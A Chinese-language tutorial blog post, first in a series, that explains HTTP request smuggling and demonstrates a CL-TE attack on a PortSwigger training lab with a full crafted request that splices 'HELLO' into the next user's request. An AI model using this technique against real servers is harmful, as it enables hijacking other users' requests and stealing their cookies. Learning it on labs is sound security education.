http走私漏洞学习(1)--http走私简介

传送门:
http走私漏洞学习(1)--http走私简介
http走私漏洞学习(2)--http走私常见方法
http走私漏洞学习(3)--http走私漏洞利用

0x00 什么是http走私

http走私(HTTP Request Smuggling)最早是在2005年由Watchfire记录的,该漏洞利用了前端服务器(cdn)和后端服务器对数据包边界定义不一致的情况,将前一个数据包的内容插入至下一个数据包中。通常情况下,利用该漏洞可以窃取到用户的请求数据,如cookie等。

0x01 基础知识

起初在HTTP1.0中的协议设计中,客户端每一次都要进行一次tcp连接,一旦响应返回就会关闭连接,这种连接称为短链接。

在HTTP1.1的时代,支持了Keep-Alive模式,也就是请求头中的Connection:Keep-Alive,在HTTP1.1中默认开启。它告诉服务器,接收回应此HTTP请求后,不要关闭TCP链接,对后面的HTTP请求重用该TCP连接,这样就减少了服务器的开销。但它只能请求一次响应一次。

在有了Keep-Alive后,后续就有了Pipeline(管线化),它可以批量提交多个HTTP请求,不必请求一次响应一次。

Content-length(实体长度),指出报文实体主体的字节大小,如果 Content-Length 比实际长度短,会造成内容被截断;如果比实体内容长,会造成无响应至等待超时。

Transfer-Encoding: chunked(分块编码),在请求头部添加该行,意味着请求报文使用分块编码,在每一个块中首先使用十六进制表示当前块的长度,然后\r\n(回车,占两字节),接着是块的内容,再回车此块结束,最后用0表示传输完毕,最后空两行。

0x02 产生原理

一个正常的请求中,前端发送的数据,后端可以完全接收。

后端能否正确的接收完整请求的数据,意味着前后端结束位必须达到一致。当攻击者发送一个‘模糊’的请求,后端认为其中一部分是正常请求,而余下的数据依然留在服务器中,当下一个请求过来时,余下的数据和当前的请求拼合在一起变成了一个请求,这些余下的数据便成为了走私数据。

0x03 简单演示

利用https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te中的靶场进行演示
该靶场中利用的是CL-TE走私,前端遵循Content-Length,后端遵循Transfer-Encoding,CL被忽略,按TE处理。

进入靶场抓包,修改为POST请求方式,关闭burp suite自动更新Content-Length功能

正常提交数据包正常返回:

修改数据包,添加 Transfer-Encoding: chunked,修改数据包Content-Length的值
POST / HTTP/1.1
Host: ac281f8a1ece4f1980d61fb7000a00d0.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) >AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.113 >Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=E4Rwvo7mdvUM2W9694zcELGHntk1EJGk
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Transfer-Encoding: chunked

0

HELLO


Content-Length为10的原因为回车占据两字节,回车+0+回车+HELLO共10字节,接着提交,返回正常

再次提交,提示:"Unrecognized method HELLOPOST"

发现HELLO拼接到了另一个数据包,数据包变成了
HELLOPOST / HTTP/1.1
....

这便造成了一个简单的http走私

0x04 参考文章

1、漏洞银行丨HTTP Request Smuggling账户劫持与WAF绕过详解-柠枫丨咖面110期
2、freebuf-浅析HTTP走私攻击
3、freebuf-HTTP走私漏洞分析

你可能感兴趣的:(http走私漏洞学习(1)--http走私简介)